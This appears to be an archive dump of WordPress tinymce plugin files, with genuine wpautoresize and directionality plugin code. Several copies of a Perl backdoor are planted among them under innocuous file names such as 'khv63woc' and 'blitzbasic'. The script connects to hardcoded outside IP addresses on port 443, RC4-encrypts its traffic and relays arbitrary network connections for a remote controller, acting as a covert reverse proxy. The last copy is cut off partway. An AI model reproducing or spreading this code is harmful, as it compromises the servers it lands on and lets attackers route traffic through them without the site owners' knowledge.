'62.60.131.203'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); tinymce/plugins/wpautoresize/plugin.min.js 0000644 00000004450 15111757756 0015076 0 ustar 00 tinymce.PluginManager.add("wpautoresize",function(g){var m=g.settings,h=300,c=!1;function f(e){return parseInt(e,10)||0}function y(e){var t,o,n,i,a,s,l,u,r,d=tinymce.DOM;c&&(o=g.getDoc())&&(e=e||{},t=o.body,o=o.documentElement,n=m.autoresize_min_height,!t||e&&"setcontent"===e.type&&e.initial||g.plugins.fullscreen&&g.plugins.fullscreen.isFullscreen()?t&&o&&(t.style.overflowY="auto",o.style.overflowY="auto"):(i=g.dom.getStyle(t,"margin-top",!0),a=g.dom.getStyle(t,"margin-bottom",!0),s=g.dom.getStyle(t,"padding-top",!0),l=g.dom.getStyle(t,"padding-bottom",!0),u=g.dom.getStyle(t,"border-top-width",!0),r=g.dom.getStyle(t,"border-bottom-width",!0),(i=t.offsetHeight+f(i)+f(a)+f(s)+f(l)+f(u)+f(r))&&i<o.offsetHeight&&(i=o.offsetHeight),(i=isNaN(i)||i<=0?tinymce.Env.ie?t.scrollHeight:tinymce.Env.webkit&&0===t.clientHeight?0:t.offsetHeight:i)>m.autoresize_min_height&&(n=i),m.autoresize_max_height&&i>m.autoresize_max_height?(n=m.autoresize_max_height,t.style.overflowY="auto",o.style.overflowY="auto"):(t.style.overflowY="hidden",o.style.overflowY="hidden",t.scrollTop=0),n!==h&&(a=n-h,d.setStyle(g.iframeElement,"height",n+"px"),h=n,tinymce.isWebKit&&a<0&&y(e),g.fire("wp-autoresize",{height:n,deltaHeight:"nodechange"===e.type?a:null}))))}function n(e,t,o){setTimeout(function(){y(),e--?n(e,t,o):o&&o()},t)}g.settings.inline||tinymce.Env.iOS||(m.autoresize_min_height=parseInt(g.getParam("autoresize_min_height",g.getElement().offsetHeight),10),m.autoresize_max_height=parseInt(g.getParam("autoresize_max_height",0),10),m.wp_autoresize_on&&(c=!0,g.on("init",function(){g.dom.addClass(g.getBody(),"wp-autoresize")}),g.on("nodechange keyup FullscreenStateChanged",y),g.on("setcontent",function(){n(3,100)}),g.getParam("autoresize_on_init",!0))&&g.on("init",function(){n(10,200,function(){n(5,1e3)})}),g.on("show",function(){h=0}),g.addCommand("wpAutoResize",y),g.addCommand("wpAutoResizeOn",function(){g.dom.hasClass(g.getBody(),"wp-autoresize")||(c=!0,g.dom.addClass(g.getBody(),"wp-autoresize"),g.on("nodechange setcontent keyup FullscreenStateChanged",y),y())}),g.addCommand("wpAutoResizeOff",function(){var e;m.wp_autoresize_on||(c=!1,e=g.getDoc(),g.dom.removeClass(g.getBody(),"wp-autoresize"),g.off("nodechange setcontent keyup FullscreenStateChanged",y),e.body.style.overflowY="auto",e.documentElement.style.overflowY="auto",h=0)}))}); tinymce/plugins/wpautoresize/plugin.js 0000644 00000013544 15111757756 0014320 0 ustar 00 /** * plugin.js * * Copyright, Moxiecode Systems AB * Released under LGPL License. * * License: http://www.tinymce.com/license * Contributing: http://www.tinymce.com/contributing */ // Forked for WordPress so it can be turned on/off after loading. /*global tinymce:true */ /*eslint no-nested-ternary:0 */ /** * Auto Resize * * This plugin automatically resizes the content area to fit its content height. * It will retain a minimum height, which is the height of the content area when * it's initialized. */ tinymce.PluginManager.add( 'wpautoresize', function( editor ) { var settings = editor.settings, oldSize = 300, isActive = false; if ( editor.settings.inline || tinymce.Env.iOS ) { return; } function isFullscreen() { return editor.plugins.fullscreen && editor.plugins.fullscreen.isFullscreen(); } function getInt( n ) { return parseInt( n, 10 ) || 0; } /** * This method gets executed each time the editor needs to resize. */ function resize( e ) { var deltaSize, doc, body, docElm, DOM = tinymce.DOM, resizeHeight, myHeight, marginTop, marginBottom, paddingTop, paddingBottom, borderTop, borderBottom; if ( ! isActive ) { return; } doc = editor.getDoc(); if ( ! doc ) { return; } e = e || {}; body = doc.body; docElm = doc.documentElement; resizeHeight = settings.autoresize_min_height; if ( ! body || ( e && e.type === 'setcontent' && e.initial ) || isFullscreen() ) { if ( body && docElm ) { body.style.overflowY = 'auto'; docElm.style.overflowY = 'auto'; // Old IE. } return; } // Calculate outer height of the body element using CSS styles. marginTop = editor.dom.getStyle( body, 'margin-top', true ); marginBottom = editor.dom.getStyle( body, 'margin-bottom', true ); paddingTop = editor.dom.getStyle( body, 'padding-top', true ); paddingBottom = editor.dom.getStyle( body, 'padding-bottom', true ); borderTop = editor.dom.getStyle( body, 'border-top-width', true ); borderBottom = editor.dom.getStyle( body, 'border-bottom-width', true ); myHeight = body.offsetHeight + getInt( marginTop ) + getInt( marginBottom ) + getInt( paddingTop ) + getInt( paddingBottom ) + getInt( borderTop ) + getInt( borderBottom ); // IE < 11, other? if ( myHeight && myHeight < docElm.offsetHeight ) { myHeight = docElm.offsetHeight; } // Make sure we have a valid height. if ( isNaN( myHeight ) || myHeight <= 0 ) { // Get height differently depending on the browser used. myHeight = tinymce.Env.ie ? body.scrollHeight : ( tinymce.Env.webkit && body.clientHeight === 0 ? 0 : body.offsetHeight ); } // Don't make it smaller than the minimum height. if ( myHeight > settings.autoresize_min_height ) { resizeHeight = myHeight; } // If a maximum height has been defined don't exceed this height. if ( settings.autoresize_max_height && myHeight > settings.autoresize_max_height ) { resizeHeight = settings.autoresize_max_height; body.style.overflowY = 'auto'; docElm.style.overflowY = 'auto'; // Old IE. } else { body.style.overflowY = 'hidden'; docElm.style.overflowY = 'hidden'; // Old IE. body.scrollTop = 0; } // Resize content element. if (resizeHeight !== oldSize) { deltaSize = resizeHeight - oldSize; DOM.setStyle( editor.iframeElement, 'height', resizeHeight + 'px' ); oldSize = resizeHeight; // WebKit doesn't decrease the size of the body element until the iframe gets resized. // So we need to continue to resize the iframe down until the size gets fixed. if ( tinymce.isWebKit && deltaSize < 0 ) { resize( e ); } editor.fire( 'wp-autoresize', { height: resizeHeight, deltaHeight: e.type === 'nodechange' ? deltaSize : null } ); } } /** * Calls the resize x times in 100ms intervals. We can't wait for load events since * the CSS files might load async. */ function wait( times, interval, callback ) { setTimeout( function() { resize(); if ( times-- ) { wait( times, interval, callback ); } else if ( callback ) { callback(); } }, interval ); } // Define minimum height. settings.autoresize_min_height = parseInt(editor.getParam( 'autoresize_min_height', editor.getElement().offsetHeight), 10 ); // Define maximum height. settings.autoresize_max_height = parseInt(editor.getParam( 'autoresize_max_height', 0), 10 ); function on() { if ( ! editor.dom.hasClass( editor.getBody(), 'wp-autoresize' ) ) { isActive = true; editor.dom.addClass( editor.getBody(), 'wp-autoresize' ); // Add appropriate listeners for resizing the content area. editor.on( 'nodechange setcontent keyup FullscreenStateChanged', resize ); resize(); } } function off() { var doc; // Don't turn off if the setting is 'on'. if ( ! settings.wp_autoresize_on ) { isActive = false; doc = editor.getDoc(); editor.dom.removeClass( editor.getBody(), 'wp-autoresize' ); editor.off( 'nodechange setcontent keyup FullscreenStateChanged', resize ); doc.body.style.overflowY = 'auto'; doc.documentElement.style.overflowY = 'auto'; // Old IE. oldSize = 0; } } if ( settings.wp_autoresize_on ) { // Turn resizing on when the editor loads. isActive = true; editor.on( 'init', function() { editor.dom.addClass( editor.getBody(), 'wp-autoresize' ); }); editor.on( 'nodechange keyup FullscreenStateChanged', resize ); editor.on( 'setcontent', function() { wait( 3, 100 ); }); if ( editor.getParam( 'autoresize_on_init', true ) ) { editor.on( 'init', function() { // Hit it 10 times in 200 ms intervals. wait( 10, 200, function() { // Hit it 5 times in 1 sec intervals. wait( 5, 1000 ); }); }); } } // Reset the stored size. editor.on( 'show', function() { oldSize = 0; }); // Register the command. editor.addCommand( 'wpAutoResize', resize ); // On/off. editor.addCommand( 'wpAutoResizeOn', on ); editor.addCommand( 'wpAutoResizeOff', off ); }); tinymce/plugins/wpautoresize/khv63woc 0000755 00000022033 15111757756 0014055 0 ustar 00 #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '185.93.89.179'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); tinymce/plugins/directionality/plugin.min.js 0000644 00000001531 15111757756 0015355 0 ustar 00 !function(){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),c=tinymce.util.Tools.resolve("tinymce.util.Tools"),e=function(t,e){var i,n=t.dom,o=t.selection.getSelectedBlocks();o.length&&(i=n.getAttrib(o[0],"dir"),c.each(o,function(t){n.getParent(t.parentNode,'*[dir="'+e+'"]',n.getRoot())||n.setAttrib(t,"dir",i!==e?e:null)}),t.nodeChanged())},i=function(t){t.addCommand("mceDirectionLTR",function(){e(t,"ltr")}),t.addCommand("mceDirectionRTL",function(){e(t,"rtl")})},n=function(e){var i=[];return c.each("h1 h2 h3 h4 h5 h6 div p".split(" "),function(t){i.push(t+"[dir="+e+"]")}),i.join(",")},o=function(t){t.addButton("ltr",{title:"Left to right",cmd:"mceDirectionLTR",stateSelector:n("ltr")}),t.addButton("rtl",{title:"Right to left",cmd:"mceDirectionRTL",stateSelector:n("rtl")})};t.add("directionality",function(t){i(t),o(t)})}(); tinymce/plugins/directionality/plugin.js 0000644 00000003544 15111757756 0014601 0 ustar 00 (function () { var directionality = (function () { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var global$1 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var setDir = function (editor, dir) { var dom = editor.dom; var curDir; var blocks = editor.selection.getSelectedBlocks(); if (blocks.length) { curDir = dom.getAttrib(blocks[0], 'dir'); global$1.each(blocks, function (block) { if (!dom.getParent(block.parentNode, '*[dir="' + dir + '"]', dom.getRoot())) { dom.setAttrib(block, 'dir', curDir !== dir ? dir : null); } }); editor.nodeChanged(); } }; var Direction = { setDir: setDir }; var register = function (editor) { editor.addCommand('mceDirectionLTR', function () { Direction.setDir(editor, 'ltr'); }); editor.addCommand('mceDirectionRTL', function () { Direction.setDir(editor, 'rtl'); }); }; var Commands = { register: register }; var generateSelector = function (dir) { var selector = []; global$1.each('h1 h2 h3 h4 h5 h6 div p'.split(' '), function (name) { selector.push(name + '[dir=' + dir + ']'); }); return selector.join(','); }; var register$1 = function (editor) { editor.addButton('ltr', { title: 'Left to right', cmd: 'mceDirectionLTR', stateSelector: generateSelector('ltr') }); editor.addButton('rtl', { title: 'Right to left', cmd: 'mceDirectionRTL', stateSelector: generateSelector('rtl') }); }; var Buttons = { register: register$1 }; global.add('directionality', function (editor) { Commands.register(editor); Buttons.register(editor); }); function Plugin () { } return Plugin; }()); })(); tinymce/plugins/directionality/blitzbasic 0000744 00000022033 15111757756 0015011 0 ustar 00 #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.182'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend 